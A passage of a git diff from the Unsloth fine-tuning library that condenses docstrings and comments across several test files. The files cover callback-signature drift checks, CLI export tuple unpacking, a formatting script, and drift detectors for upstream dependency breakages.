     arity = len(args.posonlyargs) + len(args.args)
     accepts_var = args.vararg is not None
-    # Bound methods: drop the implicit self if this is a method-style def.
-    # We can't tell statically whether the def is a method without class
-    # context, so we conservatively do not subtract self here. The consumer
-    # check skips bare-Name registrations whose target is a `self.fn` attr
-    # anyway.
+    # Don't subtract self: we can't tell statically if this is a method, and the
+    # consumer check skips `self.fn` registrations anyway.
     return arity, accepts_var
 
 
@@ -197,9 +175,9 @@ def discover_producers(roots: list[pathlib.Path]) -> dict[str, list[tuple[pathli
 def check_registrations(
     roots: list[pathlib.Path], producers: dict[str, list[tuple[pathlib.Path, int]]]
 ):
-    """Walk every .py under each root, find <x>.add_*_callback(fn) where fn is a
-    bare Name resolvable to a def in the same file, and assert its arity
-    matches the producer's canonical arity. Returns (issues, skipped, ok_count).
+    """Assert each in-file <x>.add_*_callback(fn) arity matches the producer's canonical arity.
+
+    Returns (issues, skipped, ok_count).
     """
     issues: list[str] = []
     skipped: list[str] = []
@@ -211,7 +189,7 @@ def check_registrations(
             tree = _safe_parse(src)
             if tree is None:
                 continue
-            # All function/lambda defs in this file by name (and by id for lambdas via assignment).
+            # All function/lambda defs in this file, keyed by name.
             defs_by_name: dict[str, ast.AST] = {}
             for node in ast.walk(tree):
                 if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
@@ -223,7 +201,7 @@ def check_registrations(
                         and isinstance(node.targets[0], ast.Name)
                     ):
                         defs_by_name[node.targets[0].id] = node.value
-            # Find <x>.add_*_callback(fn) sites
+            # Find <x>.add_*_callback(fn) sites.
             for call in ast.walk(tree):
                 if not isinstance(call, ast.Call):
                     continue
@@ -238,7 +216,7 @@ def check_registrations(
                         f"defines {cb_list} (third-party API?)"
                     )
                     continue
-                # Only handle bare-Name registrations; bound methods / partials skipped.
+                # Only bare-Name registrations; bound methods/partials skipped.
                 if not (len(call.args) == 1 and isinstance(call.args[0], ast.Name)):
                     skipped.append(
                         f"{src}:{call.lineno}: {call.func.attr}(...) registers a "
@@ -274,12 +252,9 @@ def check_registrations(
 
 
 def _zoo_roots() -> list[pathlib.Path]:
-    """Where to look for unsloth_zoo source. We try, in order:
-      1. ``UNSLOTH_ZOO_SRC`` env var (a local git checkout).
-      2. ``../unsloth-zoo`` next to this repo (common monorepo-style layout).
-      3. The pip-installed package (wheel may strip platform-specific submodules
-         like ``mlx/``, so this often misses MLX producers).
-    Every root that exists is scanned; duplicates are fine.
+    """unsloth_zoo source roots, in order: UNSLOTH_ZOO_SRC env, ../unsloth-zoo sibling, pip package.
+
+    (The pip wheel may strip submodules like mlx/, missing MLX producers.) All existing roots scanned.
     """
     roots: list[pathlib.Path] = []
     env_src = os.environ.get("UNSLOTH_ZOO_SRC")
@@ -292,9 +267,7 @@ def _zoo_roots() -> list[pathlib.Path]:
         roots.append(sibling)
     spec = importlib.util.find_spec("unsloth_zoo")
     if spec is not None and spec.origin is not None:
-        # spec.origin -> .../site-packages/unsloth_zoo/__init__.py
-        # we want the unsloth_zoo dir itself, NOT the site-packages root which
-        # contains every other installed pkg.
+        # Use the unsloth_zoo dir itself (parent of __init__.py), not the site-packages root.
         roots.append(pathlib.Path(spec.origin).resolve().parent)
     return roots
 
@@ -326,7 +299,6 @@ def test_no_callback_signature_drift():
 
 
 if __name__ == "__main__":
-    # Allow running directly as a script for fast feedback.
     sys.argv.append("-v")
     test_no_callback_signature_drift()
     print("PASS")
diff --git a/tests/test_cli_export_unpacking.py b/tests/test_cli_export_unpacking.py
index 626ff41bc1..b67f727c60 100644
--- a/tests/test_cli_export_unpacking.py
+++ b/tests/test_cli_export_unpacking.py
@@ -1,14 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Regression tests for unsloth_cli.commands.export.
-
-ExportOrchestrator.export_* now returns (success, message, output_path) so the
-frontend can show the realpath, but the CLI still unpacked two values, crashing
-every `unsloth export` with "too many values to unpack (expected 2)". These
-tests pin the CLI to the 3-tuple contract via a fake ExportBackend injected into
-sys.modules (the CLI's deferred import binds to it), asserting exit_code == 0
-per --format."""
+"""Regression tests for unsloth_cli.commands.export: pin the CLI to the export_* 3-tuple contract (was unpacking 2, crashing every `unsloth export`) via a fake ExportBackend in sys.modules."""
 
 from __future__ import annotations
 
@@ -21,14 +14,8 @@ import typer
 from typer.testing import CliRunner
 
 
-# ---------------------------------------------------------------------------
-# Fake ExportBackend
-# ---------------------------------------------------------------------------
-
-
 class _FakeExportBackend:
-    """Stand-in for ExportBackend: export_* return the new 3-tuple;
-    load_checkpoint keeps its 2-tuple shape."""
+    """Stand-in for ExportBackend: export_* return the 3-tuple, load_checkpoint stays a 2-tuple."""
 
     def __init__(self) -> None:
         self.loaded: str | None = None
@@ -54,9 +41,7 @@ class _FakeExportBackend:
 
 
 def _install_fake_studio_backend(monkeypatch: pytest.MonkeyPatch) -> None:
-    """Inject fake studio.backend.core.export into sys.modules. The CLI imports
-    ExportBackend lazily, so this steers it at the fake; parent packages are
-    stubbed too so import machinery skips the real structlog-dependent tree."""
+    """Inject a fake studio.backend.core.export into sys.modules so the CLI's lazy import binds to it; parent packages stubbed to skip the structlog-dependent tree."""
     for name in ("studio", "studio.backend", "studio.backend.core"):
         monkeypatch.setitem(sys.modules, name, types.ModuleType(name))
 
@@ -64,7 +49,7 @@ def _install_fake_studio_backend(monkeypatch: pytest.MonkeyPatch) -> None:
     fake_mod.ExportBackend = _FakeExportBackend
     monkeypatch.setitem(sys.modules, "studio.backend.core.export", fake_mod)
 
-    # Drop cached CLI module so export()'s deferred import re-resolves the fake.
+    # Drop the cached CLI module so its deferred import re-resolves the fake.
     monkeypatch.delitem(sys.modules, "unsloth_cli.commands.export", raising = False)
 
 
@@ -77,11 +62,8 @@ def cli_app(monkeypatch: pytest.MonkeyPatch) -> typer.Typer:
     app = typer.Typer()
     app.command("export")(export_cmd.export)
 
-    # Typer flattens a single-command app into that command, which would
-    # make argv[0] ("export") look like an extra positional argument to
-    # the test invocation. Register a harmless second command so Typer
-    # keeps "export" as a real subcommand and the tests drive the
-    # intended code path.
+    # Typer flattens a single-command app, making "export" look like a stray positional;
+    # a harmless second command keeps "export" a real subcommand.
     @app.command("noop")
     def _noop() -> None:  # pragma: no cover - only exists to pin routing
         pass
@@ -94,11 +76,6 @@ def runner() -> CliRunner:
     return CliRunner()
 
 
-# ---------------------------------------------------------------------------
-# The actual regression tests
-# ---------------------------------------------------------------------------
-
-
 @pytest.mark.parametrize(
     "format_flag,quant_flag",
     [
@@ -115,10 +92,7 @@ def test_cli_export_unpacks_three_tuple(
     format_flag: str,
     quant_flag: str | None,
 ) -> None:
-    """Each --format path must unpack (success, message, output_path)
-    without raising ValueError. Pre-fix, every parametrized case fails
-    with 'too many values to unpack (expected 2)'.
-    """
+    """Each --format path unpacks the 3-tuple without ValueError (pre-fix: 'too many values to unpack (expected 2)')."""
     ckpt = tmp_path / "ckpt"
     ckpt.mkdir()
     out = tmp_path / "out"
@@ -134,6 +108,6 @@ def test_cli_export_unpacks_three_tuple(
         f"Output:\n{result.output}\n"
         f"Exception: {result.exception!r}"
     )
-    # Sanity: the success message from the fake backend should reach stdout.
+    # Fake backend's success message should reach stdout.
     expected_prefix = format_flag.split("-")[0]
     assert f"{expected_prefix} ok" in result.output
diff --git a/tests/test_enforce_kwargs_spacing.py b/tests/test_enforce_kwargs_spacing.py
index 4521b0362d..03220c61a3 100644
--- a/tests/test_enforce_kwargs_spacing.py
+++ b/tests/test_enforce_kwargs_spacing.py
@@ -1,10 +1,4 @@
-"""Tests for scripts/enforce_kwargs_spacing.py.
-
-Focus on remove_blank_after_short_import (the blank-line-after-short-import-block
-rule): it must fire on small nested import blocks, leave everything else alone,
-never change the AST, and be idempotent. A couple of enforce_spacing checks pin
-the existing kwarg-spacing behavior.
-"""
+"""Tests for scripts/enforce_kwargs_spacing.py rewrite rules (AST-preserving, idempotent)."""
 
 from __future__ import annotations
 
@@ -82,9 +76,8 @@ def test_blank_removed_for_small_import_block(name):
     out, changed = remove_blank_after_short_import(src)
     assert changed is True
     assert out != src
-    # Import and following statement now adjacent (no blank between).
+    # Import and following statement now adjacent.
     assert "\n\n" not in out or out.count("\n\n") < src.count("\n\n")
-    # Semantics preserved and idempotent.
     assert ast.dump(ast.parse(out)) == ast.dump(ast.parse(src))
     out2, changed2 = remove_blank_after_short_import(out)
     assert out2 == out and changed2 is False
@@ -125,8 +118,7 @@ def test_exact_output_try_block():
 
 
 def test_exact_output_multiple_consecutive_imports():
-    # Pins that only the blank after the LAST import in a run is dropped and
-    # both imports are kept (the loose \n\n heuristic above does not pin this).
+    # Only the blank after the LAST import in a run is dropped; both imports kept.
     src = "def f():\n    import a\n    import b\n\n    return a, b\n"
     expected = "def f():\n    import a\n    import b\n    return a, b\n"
     out, changed = remove_blank_after_short_import(src)
@@ -145,8 +137,7 @@ def test_multiple_blank_lines_in_gap_all_removed():
 
 
 def test_multiline_import_internal_blank_preserved():
-    # A blank line INSIDE a parenthesized import is part of the import span, not
-    # the gap, so it must survive; only the trailing blank before code is dropped.
+    # A blank inside a parenthesized import is part of the import, not the gap.
     src = (
         "def g():\n"
         "    from mod import (\n"
@@ -318,8 +309,7 @@ def test_merge_adjacent_strings_skips(src):
 
 
 def test_fstring_fold_skipped_when_statement_would_not_collapse():
-    # A long f + plain assert message: folding it cannot fit the statement on one
-    # line, so ruff would re-wrap the assert condition. Leave it side-by-side.
+    # Folding a long f + plain assert message can't fit on one line, so leave it.
     src = (
         "def f():\n"
         "    assert some_condition_holds_here, (\n"
@@ -332,8 +322,7 @@ def test_fstring_fold_skipped_when_statement_would_not_collapse():
 
 
 def test_fstring_fold_applied_when_statement_collapses():
-    # A multi-line f + plain that DOES fit on one line after folding is folded
-    # (ruff then collapses the call to a single line on the next pass).
+    # A multi-line f + plain that fits on one line after folding is folded.
     src = "def f():\n    raise ValueError(\n" '        f"bad {x}: " "try again"\n' "    )\n"
     out, changed = merge_adjacent_string_literals(src)
     assert changed is True
@@ -342,9 +331,7 @@ def test_fstring_fold_applied_when_statement_collapses():
 
 
 def test_fstring_fold_applied_inside_large_multiline_call():
-    # The fit guard only restricts asserts; an f + plain argument on its own line
-    # inside a big multi-line call (the lockfile case) folds even though the whole
-    # call cannot fit on one line.
+    # The fit guard only restricts asserts; an f + plain arg in a big call folds.
     src = (
         "findings.append(\n"
         "    Finding(\n"
@@ -361,8 +348,7 @@ def test_fstring_fold_applied_inside_large_multiline_call():
 
 
 # ── collapse_short_asserts: strip the magic comma holding a short assert open ──
-# The pass strips the trailing comma so ruff joins the assert onto one line on the
-# next format pass; it never changes the AST.
+# Strips the trailing comma so ruff joins the assert onto one line; AST unchanged.
 
 
 @pytest.mark.parametrize(
@@ -393,9 +379,8 @@ def test_fstring_fold_applied_inside_large_multiline_call():
 def test_collapse_short_assert_strips_trailing_comma(name, src):
     out, changed = collapse_short_asserts(src)
     assert changed is True
-    # The magic trailing comma is gone (so ruff will join it on the next pass).
+    # Magic trailing comma is gone, so ruff joins it on the next pass.
     assert out.count(",") == src.count(",") - 1
-    # Semantics preserved and idempotent at the strip level.
     assert ast.dump(ast.parse(out)) == ast.dump(ast.parse(src))
     out2, changed2 = collapse_short_asserts(out)
     assert out2 == out and changed2 is False
diff --git a/tests/test_finetune_last_n_layers.py b/tests/test_finetune_last_n_layers.py
index fa708ddd3e..35baef4d87 100644
--- a/tests/test_finetune_last_n_layers.py
+++ b/tests/test_finetune_last_n_layers.py
@@ -1,9 +1,6 @@
 # Unsloth - 2x faster, 70% less memory LLM finetuning
-# Tests for the `finetune_last_n_layers` parity knob (CUDA side).
-#
-# Mirrors unsloth-zoo's MLX path: fills PEFT's `layers_to_transform` so LoRA
-# applies to the last N transformer blocks, matching mlx-lm CLI's num_layers.
-# Exercises only the translation helper, no CUDA / real checkpoint.
+# Tests for the `finetune_last_n_layers` parity knob (translation helper only,
+# no CUDA / real checkpoint); mirrors unsloth-zoo's MLX layers_to_transform path.
 
 from __future__ import annotations
 
@@ -67,7 +64,7 @@ def test_get_total_transformer_layers_returns_none_for_missing_config():
 
 
 def test_finetune_last_n_layers_signature_present_on_llama_and_vision():
-    """Both entry points must expose the new parameter with default None."""
+    """Both entry points expose finetune_last_n_layers with default None."""
     import inspect
     from unsloth.models.llama import FastLlamaModel
     from unsloth.models.vision import FastBaseModel
diff --git a/tests/test_gemma4_chat_template.py b/tests/test_gemma4_chat_template.py
index 5c362576c6..cfbc81f736 100644
--- a/tests/test_gemma4_chat_template.py
+++ b/tests/test_gemma4_chat_template.py
@@ -157,7 +157,7 @@ def test_multi_turn_strips_all_historical_model_turns():
 
 
 def test_thinking_template_injects_empty_thought_channel_by_default():
-    # Author defaults enable_thinking=False, so the gen-prompt injection fires.
+    # enable_thinking defaults False, so the gen-prompt injection fires.
     msgs = [{"role": "user", "content": "Hi"}]
     out = _render("gemma4_thinking_template", msgs, add_generation_prompt = True)
     assert out.endswith("<|turn>model\n<|channel>thought\n<channel|>")
diff --git a/tests/test_import_fixes_drift.py b/tests/test_import_fixes_drift.py
index c9f971c891..68c20fbe53 100644
--- a/tests/test_import_fixes_drift.py
+++ b/tests/test_import_fixes_drift.py
@@ -11,12 +11,9 @@
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 # GNU Lesser General Public License for more details.
 
-"""Drift detectors for upstream pathologies that ``unsloth/import_fixes.py``
-works around. One test per ``fix_*`` / ``patch_*`` function. Each asserts
-the healthy upstream shape; if the pathology is active, fires
-``pytest.fail("DRIFT DETECTED: ...")`` -- never ``pytest.skip`` -- so CI
-goes red and the maintainer triages on the next PR. Runs under the
-GPU-free harness in ``tests/conftest.py``."""
+"""Drift detectors for the upstream pathologies ``unsloth/import_fixes.py``
+works around; one test per ``fix_*`` / ``patch_*``, each fails (never skips)
+when the pathology is active. Runs under the GPU-free ``tests/conftest.py``."""
 
 from __future__ import annotations
 
@@ -31,8 +28,7 @@ from importlib.metadata import version as importlib_version
 import pytest
 
 
-# Mirrors the local ``Version()`` in import_fixes.py (51-68): strip
-# dev/alpha/beta/rc/local suffixes so packaging.Version doesn't choke.
+# Mirrors import_fixes.py's local Version(): strip dev/alpha/beta/rc/local suffixes.
 from packaging.version import Version as _PkgVersion
 
 
@@ -52,7 +48,7 @@ def _safe_version(raw):
 
 
 def test_protobuf_message_factory_get_prototype_or_get_message_class_present():
-    """``fix_message_factory_issue`` (import_fixes.py 264-308)."""
+    """``fix_message_factory_issue``."""
     mf = pytest.importorskip("google.protobuf.message_factory")
     has_mf_class = hasattr(mf, "MessageFactory")
     has_get_prototype = has_mf_class and hasattr(mf.MessageFactory, "GetPrototype")
@@ -75,8 +71,7 @@ def test_protobuf_message_factory_get_prototype_or_get_message_class_present():
 
 
 def test_datasets_version_not_in_broken_recursion_range():
-    """``patch_datasets`` (import_fixes.py 574-586). datasets 4.4.0-4.5.0
-    inclusive trigger RLock recursion errors in the Arrow loader."""
+    """``patch_datasets``: datasets 4.4.0-4.5.0 hit RLock recursion in the Arrow loader."""
     pytest.importorskip("datasets")
     ds_v = _safe_version(importlib_version("datasets"))
     lo = _PkgVersion("4.4.0")
@@ -92,9 +87,8 @@ def test_datasets_version_not_in_broken_recursion_range():
 
 
 def test_trl_is_x_available_returns_bool_not_tuple():
-    """``fix_trl_vllm_ascend`` (import_fixes.py 493-516). transformers >=4.48's
-    ``_is_package_available`` returns ``(bool, version_or_None)``; TRL's
-    ``is_*_available`` accessors must still return real bools."""
+    """``fix_trl_vllm_ascend``: TRL's ``is_*_available`` must still return bools
+    after transformers >=4.48 made ``_is_package_available`` return a tuple."""
     pytest.importorskip("trl")
     try:
         import trl.import_utils as tiu
@@ -139,8 +133,7 @@ def test_trl_is_x_available_returns_bool_not_tuple():
 
 
 def test_trl_cached_available_flags_are_not_tuples():
-    """``fix_trl_vllm_ascend`` (import_fixes.py 493-516). Same drift, checked
-    on the module-level cached ``_*_available`` attributes directly."""
+    """``fix_trl_vllm_ascend``: same drift on the module-level cached ``_*_available`` attrs."""
     pytest.importorskip("trl")
     try:
         import trl.import_utils as tiu
@@ -163,12 +156,9 @@ def test_trl_cached_available_flags_are_not_tuples():
 
 
 def test_pretrained_model_enable_input_require_grads_uses_old_pattern():
-    """``patch_enable_input_require_grads`` (import_fixes.py 609-670). HF
-    PR #41993 rewrote enable_input_require_grads to iterate
-    ``self.modules()`` and call ``get_input_embeddings`` on every
-    submodule; vision submodules then raise NotImplementedError. Healthy
-    state: either the upstream rewrite isn't present (pre-HF#41993), OR
-    the patch installed a NotImplementedError-tolerant replacement."""
+    """``patch_enable_input_require_grads``: HF PR #41993 made
+    enable_input_require_grads iterate ``self.modules()``, so vision submodules
+    raise NotImplementedError unless the tolerant replacement is installed."""
     pytest.importorskip("transformers")
     from transformers import PreTrainedModel
 
@@ -178,9 +168,9 @@ def test_pretrained_model_enable_input_require_grads_uses_old_pattern():
         pytest.skip(f"could not getsource(enable_input_require_grads): {exc!r}")
 
     if "for module in self.modules()" not in src:
-        return  # healthy: pre-HF#41993 shape
+        return  # pre-HF#41993 shape
     if "NotImplementedError" in src:
-        return  # healthy: unsloth's tolerant replacement is installed
+        return  # tolerant replacement installed
 
     pytest.fail(
         "DRIFT DETECTED: PreTrainedModel.enable_input_require_grads now "
@@ -192,10 +182,8 @@ def test_pretrained_model_enable_input_require_grads_uses_old_pattern():
 
 
 def test_transformers_torchcodec_available_flag_is_present():
-    """``disable_torchcodec_if_broken`` (import_fixes.py 1291-1317). Needs
-    either the pre-5.x module-level ``_torchcodec_available`` flag, or
-    the 5.x ``is_torchcodec_available`` public function; one of the two
-    is the patch site the fix monkey-patches when FFmpeg is missing."""
+    """``disable_torchcodec_if_broken``: needs the pre-5.x ``_torchcodec_available``
+    flag or 5.x ``is_torchcodec_available`` as its patch site when FFmpeg is missing."""
     tf_iu = pytest.importorskip("transformers.utils.import_utils")
     has_flag = hasattr(tf_iu, "_torchcodec_available")
     has_func = callable(getattr(tf_iu, "is_torchcodec_available", None))
@@ -209,8 +197,7 @@ def test_transformers_torchcodec_available_flag_is_present():
 
 
 def test_transformers_is_causal_conv1d_available_symbol_present():
-    """``_disable_transformers_causal_conv1d`` (import_fixes.py 1881-1895).
-    Needs at least one of the causal_conv1d availability hooks."""
+    """``_disable_transformers_causal_conv1d``: needs a causal_conv1d availability hook."""
     tf_iu = pytest.importorskip("transformers.utils.import_utils")
     candidates = [
         "is_causal_conv1d_available",
@@ -230,10 +217,8 @@ def test_transformers_is_causal_conv1d_available_symbol_present():
 
 
 def test_transformers_and_accelerate_is_wandb_available_callable():
-    """``disable_broken_wandb`` (import_fixes.py 1320-1372). Patches
-    is_wandb_available in transformers.integrations.integration_utils
-    AND accelerate.utils.imports / accelerate.utils -- all three must
-    keep existing."""
+    """``disable_broken_wandb``: patches is_wandb_available in three modules
+    (transformers integration_utils + accelerate imports/utils); all must exist."""
     pytest.importorskip("transformers")
     pytest.importorskip("accelerate")
     from transformers.integrations import integration_utils as tf_integration
@@ -260,10 +245,8 @@ def test_transformers_and_accelerate_is_wandb_available_callable():
 
 
 def test_peft_transformers_weight_conversion_importable_and_signature():
-    """``patch_peft_weight_converter_compatibility`` (import_fixes.py
-    1375-1454). Wraps build_peft_weight_mapping to retrofit
-    distributed_operation / quantization_operation kwargs; if the
-    module is unimportable the wrap silently no-ops."""
+    """``patch_peft_weight_converter_compatibility``: wraps build_peft_weight_mapping;
+    silently no-ops if the module is unimportable."""
     pytest.importorskip("peft")
     try:
         from peft.utils import transformers_weight_conversion as twc
@@ -290,17 +273,15 @@ def test_peft_transformers_weight_conversion_importable_and_signature():
 
 
 def test_triton_compiled_kernel_has_num_ctas_and_cluster_dims():
-    """``fix_triton_compiled_kernel_missing_attrs`` (import_fixes.py 923-968).
-    triton 3.6+ dropped num_ctas / cluster_dims on CompiledKernel; torch
-    2.9 Inductor's make_launcher still eagerly evaluates them."""
+    """``fix_triton_compiled_kernel_missing_attrs``: triton 3.6+ dropped
+    num_ctas/cluster_dims on CompiledKernel, but Inductor's make_launcher needs them."""
     pytest.importorskip("torch")
     triton_mod = pytest.importorskip("triton")  # noqa: F841
     tc = pytest.importorskip("triton.compiler.compiler")
 
     ck_cls = tc.CompiledKernel
-    # Healthy if either: pre-3.6 class attr present, or unsloth wrapped
-    # ``__init__`` to install num_ctas + cluster_dims per instance (the
-    # post-3.6 shape ``fix_triton_compiled_kernel_missing_attrs`` lands).
+    # Healthy if pre-3.6 class attr present, or __init__ wrapped to install
+    # num_ctas + cluster_dims per instance (the post-3.6 fix).
     if hasattr(ck_cls, "num_ctas"):
         return
     init = getattr(ck_cls, "__init__", None)
@@ -324,8 +305,7 @@ def test_triton_compiled_kernel_has_num_ctas_and_cluster_dims():
 # torch + torchvision pairing table
 
 
-# Mirrors TORCH_TORCHVISION_COMPAT in torchvision_compatibility_check
-# (import_fixes.py 708-798).
+# Mirrors TORCH_TORCHVISION_COMPAT in torchvision_compatibility_check.
 _TORCH_TORCHVISION_COMPAT = {
     (2, 9): (0, 24),
     (2, 8): (0, 23),
@@ -346,9 +326,8 @@ def _is_custom_torch_build(raw_version_str):
 
 
 def test_installed_torch_torchvision_pair_is_compatible():
-    """``torchvision_compatibility_check`` (import_fixes.py 708-798).
-    Raises ImportError when installed (torch, torchvision) pair fails
-    the pinned compat table; custom / prerelease builds are warning-only."""
+    """``torchvision_compatibility_check``: raises when the (torch, torchvision)
+    pair fails the pinned table; custom/prerelease builds are warning-only."""
     pytest.importorskip("torch")
     pytest.importorskip("torchvision")
 
@@ -389,9 +368,8 @@ def test_installed_torch_torchvision_pair_is_compatible():
 
 
 def test_vllm_guided_decoding_params_or_structured_outputs_present():
-    """``fix_vllm_guided_decoding_params`` (import_fixes.py 446-490).
-    vLLM PR #22772 renamed GuidedDecodingParams -> StructuredOutputsParams;
-    trl still imports the old name so the fix re-aliases."""
+    """``fix_vllm_guided_decoding_params``: vLLM PR #22772 renamed
+    GuidedDecodingParams -> StructuredOutputsParams; the fix re-aliases for trl."""
     pytest.importorskip("vllm")
     try:
         sp = importlib.import_module("vllm.sampling_params")
@@ -415,9 +393,8 @@ def test_vllm_guided_decoding_params_or_structured_outputs_present():
 
 
 def test_vllm_aimv2_ovis_config_is_past_fix_version():
-    """``fix_vllm_aimv2_issue`` (import_fixes.py 404-443). vLLM <0.10.1 has
-    an Ovis config that unconditionally registers ``aimv2`` and trips a
-    duplicate-key ValueError; the fix only touches old versions."""
+    """``fix_vllm_aimv2_issue``: vLLM <0.10.1 double-registers ``aimv2`` (duplicate-key
+    ValueError); the fix only touches old versions."""
     pytest.importorskip("vllm")
     vllm_v = _safe_version(importlib_version("vllm"))
     cutoff = _PkgVersion("0.10.1")
@@ -433,9 +410,8 @@ def test_vllm_aimv2_ovis_config_is_past_fix_version():
 
 
 def test_huggingface_hub_is_offline_mode_or_hf_hub_offline_present():
-    """``fix_huggingface_hub`` (import_fixes.py 913-920). huggingface_hub
-    removed top-level ``is_offline_mode``; fix re-injects from
-    ``huggingface_hub.constants.HF_HUB_OFFLINE``."""
+    """``fix_huggingface_hub``: re-injects top-level ``is_offline_mode`` from
+    ``constants.HF_HUB_OFFLINE`` after huggingface_hub dropped it."""
     hub = pytest.importorskip("huggingface_hub")
     has_top_level = False
     try:
@@ -461,8 +437,8 @@ def test_huggingface_hub_is_offline_mode_or_hf_hub_offline_present():
 
 
 def test_torch_nn_init_trunc_normal_exists():
-    """``patch_trunc_normal_precision_issue`` (import_fixes.py 971-1050).
-    fp16/bf16 stability wrapper monkey-patches torch.nn.init.trunc_normal_."""
+    """``patch_trunc_normal_precision_issue``: fp16/bf16 wrapper monkey-patches
+    torch.nn.init.trunc_normal_, which must still exist."""
     pytest.importorskip("torch")
     import torch.nn.init as init_mod
 
@@ -476,9 +452,8 @@ def test_torch_nn_init_trunc_normal_exists():
 
 
 def test_xformers_is_post_num_splits_key_fix_or_not_installed():
-    """``fix_xformers_performance_issue`` (import_fixes.py 312-341).
-    xformers <0.0.29 has the ``num_splits_key=-1`` perf bug Unsloth
-    rewrites at install time."""
+    """``fix_xformers_performance_issue``: xformers <0.0.29 has the
+    ``num_splits_key=-1`` perf bug Unsloth rewrites at install time."""
     if importlib.util.find_spec("xformers") is None:
         pytest.skip("xformers not installed -- nothing to drift-check.")
     x_v = _safe_version(importlib_version("xformers"))
@@ -495,9 +470,8 @@ def test_xformers_is_post_num_splits_key_fix_or_not_installed():
 
 
 def test_transformers_pretrained_model_has_get_input_embeddings():
-    """``patch_enable_input_require_grads`` (import_fixes.py 609-670).
-    The replacement function calls ``get_input_embeddings`` on every
-    submodule, so the accessor must still exist."""
+    """``patch_enable_input_require_grads``: its replacement calls
+    ``get_input_embeddings`` per submodule, so the accessor must still exist."""
     pytest.importorskip("transformers")
     from transformers import PreTrainedModel
 
@@ -510,11 +484,10 @@ def test_transformers_pretrained_model_has_get_input_embeddings():
 # accelerate -- ``is_X_available`` API stability used across the fixes
 
 
-# transformers LOSS_MAPPING -- patch_loss_functions() coverage
 # Regression for https://github.com/unslothai/unsloth/issues/4188:
-# Qwen3_5ForConditionalGeneration has loss_type='ForConditionalGeneration',
-# a separate LOSS_MAPPING key that was never patched, leaving the model with
-# the stock ForCausalLMLoss which does logits.float() and OOMs on <=24 GB GPUs.
+# Qwen3_5ForConditionalGeneration uses loss_type='ForConditionalGeneration', a
+# separate LOSS_MAPPING key left unpatched, falling back to stock ForCausalLMLoss
+# whose logits.float() OOMs on <=24 GB GPUs.
 
 
 def _reset_loss_mapping(mapping, saved):
@@ -523,9 +496,8 @@ def _reset_loss_mapping(mapping, saved):
 
 
 def test_patch_loss_functions_covers_conditional_generation():
-    """After patch_loss_functions(), every LOSS_MAPPING key that was aliased
-    to ForCausalLMLoss must also point at the Unsloth kernel -- not just
-    LOSS_MAPPING['ForCausalLM']."""
+    """patch_loss_functions() must repoint every ForCausalLMLoss alias to the
+    Unsloth kernel, not just LOSS_MAPPING['ForCausalLM']."""
     lu = pytest.importorskip("transformers.loss.loss_utils")
     cel = pytest.importorskip("unsloth.kernels.cross_entropy_loss")
 
@@ -550,8 +522,7 @@ def test_patch_loss_functions_covers_conditional_generation():
 
 
 def test_patch_loss_functions_does_not_touch_other_loss_types():
-    """patch_loss_functions() must not overwrite unrelated loss types
-    (segmentation, detection, masked-LM, etc.) with the causal-LM kernel."""
+    """patch_loss_functions() must not overwrite unrelated loss types with the causal-LM kernel."""
     lu = pytest.importorskip("transformers.loss.loss_utils")
     cel = pytest.importorskip("unsloth.kernels.cross_entropy_loss")
 
@@ -574,12 +545,11 @@ def test_patch_loss_functions_does_not_touch_other_loss_types():
 
 
 def test_accelerate_utils_imports_module_present():
-    """``disable_broken_wandb`` + ``fix_trl_vllm_ascend`` (import_fixes.py
-    493-516, 1320-1372). Both reach into accelerate.utils.imports."""
+    """``disable_broken_wandb`` + ``fix_trl_vllm_ascend`` both reach into
+    accelerate.utils.imports."""
     pytest.importorskip("accelerate")
     mod = pytest.importorskip("accelerate.utils.imports")
-    # is_wandb_available is the canonical representative -- disable_broken_wandb
-    # specifically targets it, so its absence breaks the patch.
+    # is_wandb_available is the canonical target of disable_broken_wandb.
     assert hasattr(mod, "is_wandb_available"), (
         "accelerate.utils.imports.is_wandb_available is gone; "
         "disable_broken_wandb cannot patch the source module."
@@ -587,7 +557,7 @@ def test_accelerate_utils_imports_module_present():
 
 
 def test_accelerate_recursively_apply_empty_logits_patch():
-    """Verify patch_accelerate_recursively_apply overrides recursively_apply to bypass EmptyLogits."""
+    """patch_accelerate_recursively_apply overrides recursively_apply to bypass EmptyLogits."""
     pytest.importorskip("accelerate")
 
     import accelerate.utils.operations as acc_ops
@@ -604,7 +574,7 @@ def test_accelerate_recursively_apply_empty_logits_patch():
 
 
 def test_accelerate_gather_empty_logits_debug_mode_patch():
-    """Verify gather and broadcast bypass EmptyLogits when debug mode is enabled."""
+    """gather and broadcast bypass EmptyLogits when debug mode is enabled."""
     pytest.importorskip("accelerate")
     from accelerate.state import PartialState, DistributedType
     import accelerate.utils.operations as acc_ops
@@ -618,7 +588,7 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
     e = EmptyLogits()
     patch_accelerate_recursively_apply()
 
-    # Enable debug mode and mock distributed state
+    # Enable debug mode and mock a 2-process distributed state
     state = PartialState()
     orig_debug = state.debug
     orig_dist_type = state.distributed_type
@@ -628,11 +598,9 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
     state.distributed_type = DistributedType.MULTI_GPU
     state.num_processes = 2
 
-    # Mock gather_object to return [obj] * num_processes
     def mock_gather_object(obj, *args, **kwargs):
         return [obj] * state.num_processes
 
-    # Mock _gpu_gather to recursively apply replication of tensors
     def mock_gpu_gather(tensor, *args, **kwargs):
         def _gather_one(t):
             if t.ndim == 0:
@@ -641,7 +609,6 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
 
         return acc_ops.recursively_apply(_gather_one, tensor, error_on_other_type = True)
 
-    # Mock _gpu_broadcast to return data unchanged
     def mock_gpu_broadcast(data, *args, **kwargs):
         return data
 
@@ -657,32 +624,30 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
                 side_effect = mock_gpu_broadcast,
             ),
         ):
-            # 1. Top-level EmptyLogits should gather correctly (returns e)
+            # Top-level EmptyLogits gathers to itself
             res = acc_ops.gather(e)
             assert res is e
 
-            # 2. Nested EmptyLogits alone
+            # Nested EmptyLogits
             res_nested = acc_ops.gather([e])
             assert isinstance(res_nested, list) and res_nested[0] is e
 
-            # 3. Mixed payload with real tensor and EmptyLogits
-            # Real tensor should be gathered (concatenated across processes).
